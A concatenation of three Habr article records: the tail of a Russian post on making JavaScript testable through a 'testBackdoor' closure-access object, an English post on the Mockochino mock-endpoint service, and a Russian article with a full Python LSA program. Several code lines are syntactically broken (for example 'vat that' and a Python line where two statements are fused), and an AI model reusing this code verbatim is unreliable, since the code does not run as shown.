somePublicMethod : function(){ ... }
}
return that;
}
function Car(){
//так я реализую наследование и взаимосвязь между объектами
var that = Vehicle();
//так я расширяю методы класса
var that.anotherPublicMethod = function(){ ... }
return that;
}
function IndependentModule(){ //независимый модуль, который не используется в других классах
vat that = {
independentFunction : function() { ... }
}
return that;
}
function Factory(){
var that = {
car : Car(),
bicycle : Vehicle(),
}
return that;
}
window.testBackdoor = { Factory : Factory(), Module : IndependentModule() };
//или
return { Factory : Factory(), Module : IndependentModule() };
}
```
Таким образом можно получить доступ к замыканиям любого класса. В конце же я могу выбрать способ получения доступа либо через бэкдор либо просто возвращая нужный объект. Однако, такая имитация public/private методов в целом не выполняет саму идею public/private методов, а служит лишь разграничителем между функциями доступными из других scope или нет, что является довольно уродливой надстройкой для того, чтобы обеспечить тестопригодность, а никак не для разделения public и private методов классического ООП. В большей степени таким образом имеет смысл разделять чистые функции и функции с побочными эффектами. К тому же еще надо помнить, что такая организация структуры приложения далеко не самая производительная и больше подходит для больших многосвязных приложений с несколькими модулями, чем для приложений, где используются множественные экземпляры классов.
Возвращаясь к разделению обработки данных и отображения, скажу что некоторые библиотеки принуждают к разделению чистых функций от сайд-эффектов (в основном это функциональные и/или декларативные). Другие же к сожалению не особо поддерживают эту идею. Хотя за то время, что я знаком с JavaScript я убежден, что нет ничего невозможного. Вопрос совсем в другом. Ценой каких усилий?
Например, в [этой статье](http://wmbtrmb.blogspot.ru/2014/01/qunit.html), я тестирую довольно простое приложение (игрушку) и потому как я использую bacon.js — декларативную библиотеку, суть которой избавить разработчика от ада вложенных коллбэков, повешенных на слушатели событий, то я в целом смог без лишних потерь привести приложение к тестопригодному виду.
**Резюме:**
К сожалению, ничего более вразумительного, чем довольно банальное «каждый инструмент уместен в своем месте» я не могу сказать. Я лишь несколько раз использовал qUnit и Jasmine в тестировании клиентского кода для более или менее крупных приложений. Но это были те случаи, когда я еще не написав ни строчки кода уже предчувствовал, как именно в этом приложении я смогу разделить сайд-эффекты от обработки данных, и что если я буду писать тестопригодный код, то приложение не превратиться в невразумительный фарш.
Напоследок, хотел бы сказать, что сама идея юнит-тестирования хорошо сходится с модульной сущностью NodeJS. Пихать в эту статью еще и test-driven программирование на платформе NodeJS было бы лишним, хотя тема определенно волнующая. Поэтому если кому-нибудь будет интересно, я напишу об этом в следующей статье. | https://habr.com/ru/post/209936/ | null | ru | null |
# Helpful service for microservice JSON-RPC based test automation
Test automation approaches for product built in microservice architecture could vary significantly according to the context of testing goals and ways to achieve them. You got an easy life if you are testing a service, that is an isolated entity which is receiving some data and providing a result of it's work in a response, by callback or through additional endpoint. In this case all you need is to cover all the endpoints of the service, and probably figure out how to catch it's callbacks. However, it's not the only case. Sometimes you need to test service which isn't totally isolated, but a part of a chain of interactions. This service could send some data to other services within your infrastructure or even to third parties. This time you got plenty of additional things to be bother of:
* how to intercept output data of tested service
* how to emulate unavailability or processing errors on the receiving side
* how to emulate network issues
Many times I faced this task in practice, and decided to implement a service that could solve main problems in a simple way and at the same time it should be scalable and reusable. So I created "Mockochino", huh.
"Mockochino" has a scalable number of endpoints, handling scenarios for each of them could be setted up in different ways. Handler settings are stored in sqlite, as well as each input request that handlers will receive. Service supports **POST\PUT\PATCH** requests.
Let's talk about setting up and usage.
In order to create a new endpoint you need to call [/settings/init](https://mockochino.org/init-handler.html) method, as a result, service would generate uuid and create a unique handler with default settings.
```
{
"uuid": "4356410a-72ba-461b-a935-52b325587b59",
"delay": 0,
"code": 200,
"token": "",
"response": {
"result": true,
"message": "echo"
}
}
```
**Details about settings:**
* uuid - endpoint identifier, for example with the above settings endpoint url would be like http://127.0.0.1:5000/mock/4356410a-72ba-461b-a935-52b325587b59
* delay - delay before response in ms
* code - response HTTP status code
* response - response json object body
* token - if not empty, service will verify "Authorization" header in each input request, if token is not equals or it's missing, error will be produced
```
HTTP status code 401
{
"result": false,
"message": "Authorization failed."
}
```
Endpoint is ready for usage right after handler initialisation. It's ready to catch your requests and emulate any pre-setted scenario. As mentioned before, each input request is stored in db, so there is an option to get them by handler uuid.
**Details about methods:**
* [get handler settings](https://mockochino.org/get-handler.html)
* [get list of all handlers settings](https://mockochino.org/get-handlers-list.html)
* [reset handler settings to default](https://mockochino.org/reset-handler.html)
* [remove handler](https://mockochino.org/delete-handler.html)
* [get an array of input requests](https://mockochino.org/get-requests-by-handler.html)
* [count input requests by handler](https://mockochino.org/count-requests-by-handler.html)
* [count total input requests](https://mockochino.org/count-requests.html)
* [remove input requests by handler](https://mockochino.org/delete-requests-by-handler.html)
* [remove all input requests](https://mockochino.org/delete-requests.html)
[Site](https://mockochino.org/index.html)
[Docs](https://mockochino.org/setup.html)
[Postman collection](https://mockochino.org/downloads.html) | https://habr.com/ru/post/581226/ | null | en | null |
# Полный латентно семантический анализ средствами Python
Известные реализация латентно-семантического анализа (LSA) средствами языка программирования Python [1,2] обладают рядом существенных методических недостатков. Не приведены корреляционные матрицы слов и документов. Эти матрицы позволяют выявить скрытые связи. Отсутствует кластерный анализ для распределения слов и документов. Нет гибкой графической реализации для анализа семантического пространства, что крайне осложняет анализ результатов. Пользователь не имеет возможности оценить влияние исключения слов, которые встречаются один раз, метода определения семантического расстояния между словами и документами. Более того, могут возникать ситуации, когда после исключения слов, встречающихся только один раз, нарушается размерность частотной матрицы и её сингулярное разложение становиться невозможным. Пользователь получает сообщение об ошибке, не понимая их причин сетуя на недостатки программных средств Python.
Сразу хочу отметить, что статья рассчитана на аудиторию не только знакомую с методом LSA, но и имеющая минимальный опыт его практического применения. Поэтому используя для тестирования программы стандартный набор англоязычных коротких сообщений, приведу распечатку исходных данных и результаты их обработки и график семантического пространства.
Исходные документы
------------------
Ном.док-- 0 Текст-Human machine interface for ABC computer applications
Ном.док-- 1 Текст-A survey of user opinion of computer system response time
Ном.док-- 2 Текст-The EPS user interface management system
Ном.док-- 3 Текст-System and human system engineering testing of EPS
Ном.док-- 4 Текст-Relation of user perceived response time to error measurement
Ном.док-- 5 Текст-The generation of random, binary, ordered trees
Ном.док-- 6 Текст-The intersection graph of paths in trees
Ном.док-- 7 Текст-Graph minors IV: Widths of trees and well-quasi- ordering
Ном.док-- 8 Текст-Graph minors: A survey
* **Слова, которые встречаться только один раз:**
['opinion', 'binari', 'in', 'engin', 'iv', 'width', 'order', 'test', 'error', 'intersect', 'abc', 'perceiv', 'path', 'generat', 'relat', 'to', 'measur', 'machin', 'manag', 'for', 'random', 'applic']
* **Стоп-слова:**
['i', 'me', 'my', 'myself', 'we', 'our', 'ours', 'ourselves', 'you', 'your', 'yours', 'yourself', 'yourselves', 'he', 'him', 'his', 'himself', 'she', 'her', 'hers', 'herself', 'it', 'its', 'itself', 'they', 'them', 'their', 'theirs', 'themselves', 'what', 'which', 'who', 'whom', 'this', 'that', 'these', 'those', 'am', 'is', 'are', 'was', 'were', 'be', 'been', 'being', 'have', 'has', 'had', 'having', 'do', 'does', 'did', 'doing', 'a', 'an', 'the', 'and', 'but', 'if', 'or', 'because', 'as', 'until', 'while', 'of', 'at', 'by', 'for', 'with', 'about', 'against', 'between', 'into', 'through', 'during', 'before', 'after', 'above', 'below', 'to', 'from', 'up', 'down', 'in', 'out', 'on', 'off', 'over', 'under', 'again', 'further', 'then', 'once', 'here', 'there', 'when', 'where', 'why', 'how', 'all', 'any', 'both', 'each', 'few', 'more', 'most', 'other', 'some', 'such', 'no', 'nor', 'not', 'only', 'own', 'same', 'so', 'than', 'too', 'very', 's', 't', 'can', 'will', 'just', 'don', 'should', 'now']
* **Cлова(основа):**
['human', 'interfac', 'comput', 'survey', 'user', 'system', 'respons', 'time', 'ep', 'tree', 'graph', 'minor']
* **Распределение слов по документам:**
{'interfac': [0, 2], 'user': [1, 2, 4], 'minor': [7, 8], 'comput': [0, 1], 'graph': [6, 7, 8], 'tree': [5, 6, 7], 'time': [1, 4], 'human': [0, 3], 'ep': [2, 3], 'system': [1, 2, 3, 3], 'survey': [1, 8], 'respons': [1, 4]}
### Первая матрица заполненных строк и столбцов
[[ 1. 1. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 1. 1. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 1. 1. 1.]
[ 1. 0. 0. 1. 0. 0. 0. 0. 0.]
[ 1. 0. 1. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 1. 1.]
[ 0. 1. 0. 0. 1. 0. 0. 0. 0.]
[ 0. 1. 0. 0. 0. 0. 0. 0. 1.]
[ 0. 1. 1. 2. 0. 0. 0. 0. 0.]
[ 0. 1. 0. 0. 1. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 1. 1. 1. 0.]
[ 0. 1. 1. 0. 1. 0. 0. 0. 0.]]
### Исходная частотная матрица число слов---12 больше либо равно числу документо-9
comput {[ 1. 1. 0. 0. 0. 0. 0. 0. 0.]}
ep {[ 0. 0. 1. 1. 0. 0. 0. 0. 0.]}
graph {[ 0. 0. 0. 0. 0. 0. 1. 1. 1.]}
human {[ 1. 0. 0. 1. 0. 0. 0. 0. 0.]}
interfac {[ 1. 0. 1. 0. 0. 0. 0. 0. 0.]}
minor {[ 0. 0. 0. 0. 0. 0. 0. 1. 1.]}
respons {[ 0. 1. 0. 0. 1. 0. 0. 0. 0.]}
survey {[ 0. 1. 0. 0. 0. 0. 0. 0. 1.]}
system {[ 0. 1. 1. 2. 0. 0. 0. 0. 0.]}
time {[ 0. 1. 0. 0. 1. 0. 0. 0. 0.]}
tree {[ 0. 0. 0. 0. 0. 1. 1. 1. 0.]}
user {[ 0. 1. 1. 0. 1. 0. 0. 0. 0.]}
Нормализованная по методу TF-IDF матрица: строк- слов -12 столбцов — документов--9.
comput {[ 0.5 0.25 0. 0. 0. 0. 0. 0. 0. ]}
ep {[ 0. 0. 0.38 0.38 0. 0. 0. 0. 0. ]}
graph {[ 0. 0. 0. 0. 0. 0. 0.55 0.37 0.37]}
human {[ 0.5 0. 0. 0.38 0. 0. 0. 0. 0. ]}
interfac {[ 0.5 0. 0.38 0. 0. 0. 0. 0. 0. ]}
minor {[ 0. 0. 0. 0. 0. 0. 0. 0.5 0.5]}
respons {[ 0. 0.25 0. 0. 0.5 0. 0. 0. 0. ]}
survey {[ 0. 0.25 0. 0. 0. 0. 0. 0. 0.5 ]}
system {[ 0. 0.18 0.27 0.55 0. 0. 0. 0. 0. ]}
time {[ 0. 0.25 0. 0. 0.5 0. 0. 0. 0. ]}
tree {[ 0. 0. 0. 0. 0. 1.1 0.55 0.37 0. ]}
user {[ 0. 0.18 0.27 0. 0.37 0. 0. 0. 0. ]}
### Первые 2 столбца ортогональной матрицы U слов, сингулярного преобразования нормализованной матрицы: строки слов -12
comput {[-0.0045 0.3471]}
ep {[-0.0014 0.3404]}
graph {[-0.3777 0.0363]}
human {[-0.0017 0.4486]}
interfac {[-0.0017 0.4309]}
minor {[-0.2351 0.0542]}
respons {[-0.0053 0.218 ]}
survey {[-0.0827 0.1223]}
system {[-0.0039 0.4297]}
time {[-0.0053 0.218 ]}
tree {[-0.8917 -0.0508]}
user {[-0.0043 0.2744]}
Координаты x --0.891700 и y--0.050800 опорного слова --tree, от которого отсчитываются все расстояния.
### Первые 2 строки диагональной матрица S
[[ 1.37269958 0. 0]
[ 0. 1.06667558]]
Первые 2 строки ортогональной матрицы Vt документов сингулярного преобразования нормализованной матрицы: столбцы документов -9.
[[ 0.0029 0.0189 0.0025 0.0024 0.005 0.7145 0.5086 0.4278 0.2175]
[-0.5749 -0.331 -0.453 -0.5026 -0.2996 0.0524 0.0075 -0.0204 -0.0953]]
### Матрица для выявления скрытых связей
comput {[ 0.21 0.12 0.17 0.19 0.11 -0.01 0. 0.01 0.04]}
eps {[ 0.21 0.12 0.16 0.18 0.11 -0.02 0. 0.01 0.04]}
graph {[ 0.02 0.02 0.02 0.02 0.01 0.37 0.26 0.22 0.12]}
human {[ 0.28 0.16 0.22 0.24 0.14 -0.02 0. 0.01 0.05]}
interfac {[ 0.26 0.15 0.21 0.23 0.14 -0.02 0. 0.01 0.04]}
minor {[ 0.03 0.03 0.03 0.03 0.02 0.23 0.16 0.14 0.08]}
respons {[ 0.13 0.08 0.11 0.12 0.07 -0.01 0. 0.01 0.02]}
survey {[ 0.08 0.05 0.06 0.07 0.04 0.07 0.06 0.05 0.04]}
system {[ 0.26 0.15 0.21 0.23 0.14 -0.02 0. 0.01 0.04]}
time {[ 0.13 0.08 0.11 0.12 0.07 -0.01 0. 0.01 0.02]}
tree {[-0.03 0.01 -0.02 -0.02 -0.01 0.88 0.62 0.52 0.26]}
user {[ 0.17 0.1 0.13 0.15 0.09 -0.01 0. 0.01 0.03]}
### Матрица косинусных расстояний между документами
[[ 1. 0.998649 1. 1. 0.999932 -0.06811 -0.009701
0.05267 0.405942]
[ 0.998649 1. 0.998673 0.998635 0.999186 -0.016168 0.04228
0.104496 0.452889]
[ 1. 0.998673 1. 1. 0.999938 -0.067637 -0.009226
0.053143 0.406376]
[ 1. 0.998635 1. 1. 0.999929 -0.068378 -0.00997
0.052401 0.405696]
[ 0.999932 0.999186 0.999938 0.999929 1. -0.056489 0.001942
0.064293 0.416555]
[-0.06811 -0.016168 -0.067637 -0.068378 -0.056489 1. 0.998292
0.992706 0.884128]
[-0.009701 0.04228 -0.009226 -0.00997 0.001942 0.998292 1. 0.998054
0.909918]
[ 0.05267 0.104496 0.053143 0.052401 0.064293 0.992706 0.998054 1.
0.934011]
[ 0.405942 0.452889 0.406376 0.405696 0.416555 0.884128 0.909918
0.934011 1. ]]
Кластеризация косинусных расстояний между документами.
Метки кластеров:
[1 1 1 1 1 0 0 0 0]
Координаты центроидов кластеров:
[[ 0.09520025 0.14587425 0.095664 0.09493725 0.10657525 0.9687815
0.976566 0.98119275 0.93201425]
[ 0.9997162 0.9990286 0.9997222 0.9997128 0.999797 -0.0553564
0.003065 0.0654006 0.4174916 ]]
### Матрица косинусных расстояний между словами
comput {[ 1. 0.999961 0.108563 0.999958 0.999959 0.237261 0.999936
0.835577 0.999992 0.999936 -0.04393 0.999996]}
ep {[ 0.999961 1. 0.09976 1. 1. 0.228653 0.999796
0.830682 0.999988 0.999796 -0.052771 0.999933]}
graph {[ 0.108563 0.09976 1. 0.099439 0.099594 0.991462 0.119832
0.636839 0.104697 0.119832 0.988361 0.111252]}
human {[ 0.999958 1. 0.099439 1. 1. 0.228339 0.99979
0.830502 0.999986 0.99979 -0.053094 0.999929]}
interfac {[ 0.999959 1. 0.099594 1. 1. 0.22849 0.999793
0.830589 0.999987 0.999793 -0.052938 0.999931]}
minor {[ 0.237261 0.228653 0.991462 0.228339 0.22849 1. 0.248265
0.731936 0.233482 0.248265 0.960085 0.239888]}
respons {[ 0.999936 0.999796 0.119832 0.99979 0.999793 0.248265 1. 0.841755
0.999884 1. -0.032595 0.999963]}
survey {[ 0.835577 0.830682 0.636839 0.830502 0.830589 0.731936 0.841755 1.
0.833435 0.841755 0.512136 0.83706 ]}
system {[ 0.999992 0.999988 0.104697 0.999986 0.999987 0.233482 0.999884
0.833435 1. 0.999884 -0.047814 0.999978]}
time {[ 0.999936 0.999796 0.119832 0.99979 0.999793 0.248265 1. 0.841755
0.999884 1. -0.032595 0.999963]}
tree {[-0.04393 -0.052771 0.988361 -0.053094 -0.052938 0.960085 -0.032595
0.512136 -0.047814 -0.032595 1. -0.041227]}
user {[ 0.999996 0.999933 0.111252 0.999929 0.999931 0.239888 0.999963
0.83706 0.999978 0.999963 -0.041227 1. ]}
### Кластеризация косинусных расстояний между словами
Метки кластеров
[1 1 0 1 1 0 1 1 1 1 0 1]
Координаты центроидов кластеров:
[[ 0.10063133 0.09188067 0.99327433 0.09156133 0.09171533 0.983849
0.111834 0.62697033 0.09678833 0.111834 0.98281533 0.10330433]
[ 0.98170167 0.98112844 0.16664533 0.98110611 0.98111689 0.29161989
0.98232411 0.85348389 0.98145933 0.98232411 0.01724133 0.98186144]]
**Результаты анализа:** Всего документов:9. Осталось документов после исключения не связанных: 9
№№ Док [0, 3]- 0.0-Косинусная мера расстояния -Общие слова -['human']
№№ Док [3, 2]- 0.0-Косинусная мера расстояния -Общие слова -['system', 'ep']
№№ Док [2, 4]- 0.0-Косинусная мера расстояния -Общие слова -['user']
№№ Док [4, 1]- 0.001-Косинусная мера расстояния -Общие слова -['user', 'respons', 'time']
№№ Док [6, 5]- 0.001-Косинусная мера расстояния -Общие слова -['tree']
№№ Док [7, 6]- 0.002-Косинусная мера расстояния -Общие слова -['graph', 'tree']
№№ Док [8, 7]- 0.067-Косинусная мера расстояния -Общие слова -['graph', 'minor']
№№ Док [1, 8]- 0.548-Косинусная мера расстояния -Общие слова -['survey']
1. Расположение в семантическом пространстве слов и документов
2. Использование «лупы» для просмотра насыщенных участков
Код программы
-------------
1. **Модуль menu.py**
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from tkinter.filedialog import *
from tkinter.messagebox import *
import numpy
import numpy as np
from numpy import *
from sklearn.cluster import KMeans
import nltk
import scipy
from settings import docs,stem,stopwords
ddd=len(docs)
from nltk.stem import SnowballStemmer
stemmer = SnowballStemmer(stem)
doc=[w for w in docs]
import matplotlib.pyplot as plt
import matplotlib as mpl
mpl.rcParams['font.family'] = 'fantasy'
mpl.rcParams['font.fantasy'] = 'Comic Sans MS, Arial'
def STart():
clear_all()
txt.insert(END,'Исходные документы\n')
for k, v in enumerate(docs):
txt.insert(END,'Ном.док--%u Текст-%s \n'%(k,v))
if var1.get()==0:
return word_1()
elif var1.get()==1:
t=" "
word=nltk.word_tokenize((' ').join(doc))
stopword=[stemmer.stem(w).lower() for w in stopwords]
return WordStopDoc(t,stopword)
def word_1():
txt1.delete(1.0, END)
txt2.delete(1.0, END)
word=nltk.word_tokenize((' ').join(doc))
n=[stemmer.stem(w).lower() for w in word if len(w) >1 and w.isalpha()]
stopword=[stemmer.stem(w).lower() for w in stopwords]
fdist=nltk.FreqDist(n)
t=fdist.hapaxes()
txt1.insert(END,'Слова которые встричаються только один раз:\n%s'%t)
txt1.insert(END,'\n')
return WordStopDoc(t,stopword)
def WordStopDoc(t,stopword):
d={}
c=[]
p={}
for i in range(0,len(doc)):
word=nltk.word_tokenize(doc[i])
word_stem=[stemmer.stem(w).lower() for w in word if len(w)>1 and w.isalpha()]
word_stop=[ w for w in word_stem if w not in stopword]
words=[ w for w in word_stop if w not in t]
p[i]=[w for w in words]
for w in words:
if w not in c:
c.append(w)
d[w]= [i]
elif w in c:
d[w]= d[w]+[i]
txt1.insert(END,'Стоп-слова:\n')
txt1.insert(END, stopwords)
txt1.insert(END,'\n')
txt1.insert(END,'Cлова(основа):\n')
txt1.insert(END,c)
txt1.insert(END,'\n')
txt1.insert(END,' Распределение слов по документам:\n')
txt1.insert(END,d)
txt1.insert(END,'\n')
return Create_Matrix(d,c,p)
def Create_Matrix(d,c,p):
a=len(c)
b=len(doc)
A = numpy.zeros([a,b])
c.sort()
for i, k in enumerate(c):
for j in d[k]:
A[i,j] += 1
txt1.insert(END, 'Первая матрица для проверки заполнения строк и столбцов:\n')
txt1.insert(END,A)
txt1.insert(END,'\n')
return Analitik_Matrix(A,c,p)
def Analitik_Matrix(A,c,p):
wdoc = sum(A, axis=0)
pp=[]
q=-1
for w in wdoc:
q=q+1
if w==0:
pp.append(q)
if len(pp)!=0:
for k in pp:
doc.pop(k)
word_1()
elif len(pp)==0:
rows, cols = A.shape
txt1.insert(END,'Исходная частотная матрица число слов---%u больше либо равно числу документов-%u \n'%(rows,cols))
nn=[]
for i, row in enumerate(A):
st=(c[i], row)
stt=sum(row)
nn.append(stt)
txt1.insert(END,st)
txt1.insert(END,'\n')
if var.get()==0:
return TF_IDF(A,c,p)
elif var.get()==1:
l=nn.index(max(nn))
return U_S_Vt(A,c,p,l)
def TF_IDF(A,c,p):
wpd = sum(A, axis=0)
dpw= sum(asarray(A > 0,'i'), axis=1)
rows, cols = A.shape
txt1.insert(END,'Нормализованная по методу TF-IDF матрица: строк- слов -%u столбцов - документов--%u \n'%(rows,cols))
for i in range(rows):
for j in range(cols):
m=float(A[i,j])/wpd[j]
n=log(float(cols) /dpw[i])
A[i,j] =round(n*m,2)
gg=[]
for i, row in enumerate(A):
st=(c[i], row)
stt=sum(row)
gg.append(stt)
txt1.insert(END,st)
txt1.insert(END,'\n')
l=gg.index(max(gg))
return U_S_Vt(A,c,p,l)
def U_S_Vt(A,c,p,l):
U, S,Vt = numpy.linalg.svd(A)
rows, cols = U.shape
for j in range(0,cols):
for i in range(0,rows):
U[i,j]=round(U[i,j],4)
txt1.insert(END,' Первые 2 столбца ортогональной матрицы U слов, сингулярного преобразования нормализованной матрицы: строки слов -%u\n'%rows)
for i, row in enumerate(U):
st=(c[i], row[0:2])
txt1.insert(END,st)
txt1.insert(END,'\n')
kt=l
wordd=c[l]
res1=-1*U[:,0:1]
wx=res1[kt]
res2=-1*U[:,1:2]
wy=res2[kt]
txt1.insert(END,' Координаты x --%f и y--%f опорного слова --%s, от которого отсчитываются все расстояния \n'%(wx,wy,wordd) )
txt1.insert(END,' Первые 2 строки диагональной матрица S \n')
Z=np.diag(S)
txt1.insert(END,Z[0:2,0:2] )
txt1.insert(END,'\n')
rows, cols = Vt.shape
for j in range(0,cols):
for i in range(0,rows):
Vt[i,j]=round(Vt[i,j],4)
txt1.insert(END,' Первые 2 строки ортогональной матрицы Vt документов сингулярного преобразования нормализованной матрицы: столбцы документов -%u\n'%cols)
st=(-1*Vt[0:2, :])
txt1.insert(END,st)
txt1.insert(END,'\n')
res3=(-1*Vt[0:1, :])
res4=(-1*Vt[1:2, :])
X=numpy.dot(U[:,0:2],Z[0:2,0:2])
Y=numpy.dot(X,Vt[0:2,:] )
txt1.insert(END,' Матрица для выявления скрытых связей \n')
rows, cols =Y.shape
for j in range(0,cols):
for i in range(0,rows):
Y[i,j]=round( Y[i,j],2)
for i, row in enumerate(Y):
st=(c[i], row)
txt1.insert(END,st)
txt1.insert(END,'\n')
return Word_Distance_Document(res1,wx,res2,wy,res3,res4,Vt,p,c,Z,U)
def Word_Distance_Document(res1,wx,res2,wy,res3,res4,Vt,p,c,Z,U):
xx, yy = -1 * Vt[0:2, :]
rows, cols = Vt.shape
a=cols
b=cols
B = numpy.zeros([a,b])
for i in range(0,cols):
for j in range(0,cols):
xxi, yyi = -1 * Vt[0:2, i]
xxi1, yyi1 =-1 * Vt[0:2, j]
B[i,j]=round(float(xxi*xxi1+yyi*yyi1)/float(sqrt((xxi*xxi+yyi*yyi)*(xxi1*xxi1+yyi1*yyi1))),6)
txt1.insert(END,' Матрица косинусных расстояний между документами\n')
txt1.insert(END,B)
txt1.insert(END,'\n')
txt1.insert(END,' Кластеризация косинусных расстояний между документами\n')
X = np.array(B)
kmeans = KMeans(n_clusters=2, random_state=0).fit(X)
txt1.insert(END,'Метки кластеров\n')
txt1.insert(END,kmeans.labels_)
txt1.insert(END,'\n')
txt1.insert(END,'Координаты центроидов кластеров\n')
txt1.insert(END,kmeans.cluster_centers_)
txt1.insert(END,'\n')
Q= np.matrix(U)
UU = Q.T
rows, cols = UU.shape
a=cols
b=cols
B = numpy.zeros([a,b])
for i in range(0,cols):
for j in range(0,cols):
xxi, yyi = -1 * UU[0:2, i]
xxi1, yyi1 = -1 * UU[0:2, j] B[i,j]=round(float(xxi*xxi1+yyi*yyi1)/float(sqrt((xxi*xxi+yyi*yyi)*(xxi1*xxi1+yyi1*yyi1))),6)
txt1.insert(END,' Матрица косинусных расстояний между словами\n')
for i, row in enumerate(B):
st=(c[i], row[0:])
txt1.insert(END,st)
txt1.insert(END,'\n')
txt1.insert(END,' Кластеризация косинусных расстояний между словами\n')
X = np.array(B)
kmeans = KMeans(n_clusters=2, random_state=0).fit(X)
txt1.insert(END,'Метки клайстеров\n')
txt1.insert(END,kmeans.labels_)
txt1.insert(END,'\n')
txt1.insert(END,' Координаты центроидов кластеров\n')
txt1.insert(END,kmeans.cluster_centers_)
arts = []
txt2.insert(END,'Результаты анализа: Всего документов:%u. Осталось документов после исключения не связанных:%u\n'%(ddd,len(doc)))
if ddd>len(doc):
txt2.insert(END," Оставшиеся документы после исключения не связанных:")
txt2.insert(END,'\n')
for k, v in enumerate(doc):
ww='Док.№ - %i. Text -%s'%(k,v)
txt2.insert(END, ww)
txt2.insert(END,'\n')
for k in range(0,len(doc)):
ax, ay = xx[k], yy[k]
dx, dy = float(wx - ax), float(wy - ay)
if var2.get()==0:
dist=float(sqrt(dx * dx + dy * dy))
elif var2.get()==1:
dist=float(wx*ax+wy*ay)/float(sqrt(wx*wx+wy*wy)*sqrt(ax*ax+ay*ay))
arts.append((k,p[k],round(dist,3)))
q=(sorted(arts,key = lambda a: a[2]))
dd=[]
ddm=[]
aa=[]
bb=[]
for i in range(1,len(doc)):
cos1=q[i][2]
cos2=q[i-1][2]
if var2.get()==0:
qq=round(float(cos1-cos2),3)
elif var2.get()==1:
sin1=sqrt(1-cos1**2)
sin2=sqrt(1-cos2**2)
qq=round(float(1-abs(cos1*cos2+sin1*sin2)),3)
tt=[(q[i-1])[0],(q[i])[0]]
dd.append(tt)
ddm.append(qq)
for w in range(0,len(dd)):
i=ddm.index(min(ddm))
aa.append(dd[i])
bb.append(ddm[i])
del dd[i]
del ddm[i]
for i in range(0,len(aa)):
if len([w for w in p[aa[i][0]]if w in p[aa[i][1]]])!=0:
zz=[w for w in p[aa[i][0]]if w in p[aa[i][1]]]
else:
zz=['нет общих слов']
cs=[]
for w in zz:
if w not in cs:
cs.append(w)
if var2.get()==0:
sc="Евклидова мера расстояния "
elif var2.get()==1:
sc="Косинусная мера расстояния "
tr ='№№ Док %s- %s-%s -Общие слова -%s'%(aa[i],bb[i],sc,cs)
txt2.insert(END, tr)
txt2.insert(END,'\n')
return Grafics_End(res1,res2,res3,res4,c)
def Grafics_End(res1,res2,res3,res4,c): # Построение график с программным управлением масштабом
plt.title('Semantic space', size=14)
plt.xlabel('x-axis', size=14)
plt.ylabel('y-axis', size=14)
e1=(max(res1)-min(res1))/len(c)
e2=(max(res2)-min(res2))/len(c)
e3=(max(res3[0])-min(res3[0]))/len(doc)
e4=(max(res4[0])-min(res4[0]))/len(doc)
plt.axis([min(res1)-e1, max(res1)+e1, min(res2)-e2, max(res2)+e2])
plt.plot(res1, res2, color='r', linestyle=' ', marker='s',ms=10,label='Words')
plt.axis([min(res3[0])-e3, max(res3[0])+e3, min(res4[0])-e4, max(res4[0])+e4])
plt.plot(res3[0], res4[0], color='b', linestyle=' ', marker='o',ms=10,label='Documents №')
plt.legend(loc='best')
k={}
for i in range(0,len(res1)):
xv=float(res1[i])
yv=float(res2[i])
if (xv,yv) not in k.keys():
k[xv,yv]=c[i]
elif (xv,yv) in k.keys():
k[xv,yv]= k[xv,yv]+','+c[i]
plt.annotate(k[xv,yv], xy=(res1[i], res2[i]), xytext=(res1[i]+0.01, res2[i]+0.01),arrowprops=dict(facecolor='red', shrink=0.1),)
k={}
for i in range(0,len(doc)):
xv=float((res3[0])[i])
yv=float((res4[0])[i])
if (xv,yv) not in k.keys():
k[xv,yv]=str(i)
elif (xv,yv) in k.keys():
k[xv,yv]= k[xv,yv]+','+str(i)
plt.annotate(k[xv,yv], xy=((res3[0])[i], (res4[0])[i]), xytext=((res3[0])[i]+0.015, (res4[0])[i]+0.015),arrowprops=dict(facecolor='blue', shrink=0.1),)
plt.grid()
plt.show()
def close_win():
if askyesno("Exit", "Do you want to quit?"):
tk.destroy()
def save_text():
save_as = asksaveasfilename()
try:
x = txt.get(1.0, END)+ '\n'+txt1.get(1.0, END) + '\n'+txt2.get(1.0, END)
f = open(save_as, "w")
f.writelines(x)
f.close()
except:
pass
clear_all()
def clear_all():
txt.delete(1.0, END)
txt1.delete(1.0, END)
txt2.delete(1.0, END)
tk= Tk()
tk.geometry('700x650')
main_menu = Menu(tk)
tk.config(menu=main_menu)
file_menu = Menu(main_menu)
main_menu.add_cascade(label="LSA", menu=file_menu)
file_menu.add_command(label="Start", command= STart)
file_menu.add_command(label="Save text", command= save_text)
file_menu.add_command(label="Clear all fields", command= clear_all)
file_menu.add_command(label="Exit", command= close_win)
txt = Text(tk, width=72,height=10,font="Arial 12",wrap=WORD)
txt.pack()
txt1= Text(tk, width=72,height=10,font="Arial 12",wrap=WORD)
txt1.pack()
txt2= Text(tk, width=72,height=10,font="Arial 12",wrap=WORD)
txt2.pack()
var = IntVar()
ch_box = Checkbutton(tk, text="to use TF_IDF/no to use TF_IDF", variable=var)
ch_box.pack()
var1 = IntVar()
ch_box1 = Checkbutton(tk, text="to exclude words used once/no to exclude words used once", variable=var1)
ch_box1.pack()
var2 = IntVar()
ch_box2 = Checkbutton(tk, text="Evckid distance/cos distance", variable=var2)
ch_box2.pack()
tk.title("System of the automated semantic analysis")
tk.mainloop()
```
2. **Модуль settings.py**
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import nltk
from nltk import *
from nltk.corpus import brown
stopwords= nltk.corpus.stopwords.words('english')
docs =[
"Human machine interface for ABC computer applications",
"A survey of user opinion of computer system response time",
"The EPS user interface management system",
"System and human system engineering testing of EPS",
"Relation of user perceived response time to error measurement",
"The generation of random, binary, ordered trees",
"The intersection graph of paths in trees",
"Graph minors IV: Widths of trees and well-quasi-ordering",
"Graph minors: A survey"
]
stem='english'
#'danish', 'dutch', 'english', 'finnish', 'french', 'german', 'hungarian', 'italian',
#'norwegian', 'porter', 'portuguese', 'romanian', 'russian', 'spanish', 'swedish'
```
Модуль menu.py можно скомпилировать в exe. Ввод данных проводить через settings.py.
Знатоки LSA наберите код, запустите программу и она расскажет Вам о дополнительных возможностях, которые я намерено упустил. Надеюсь Вам это пригодиться.
Ссылки
------
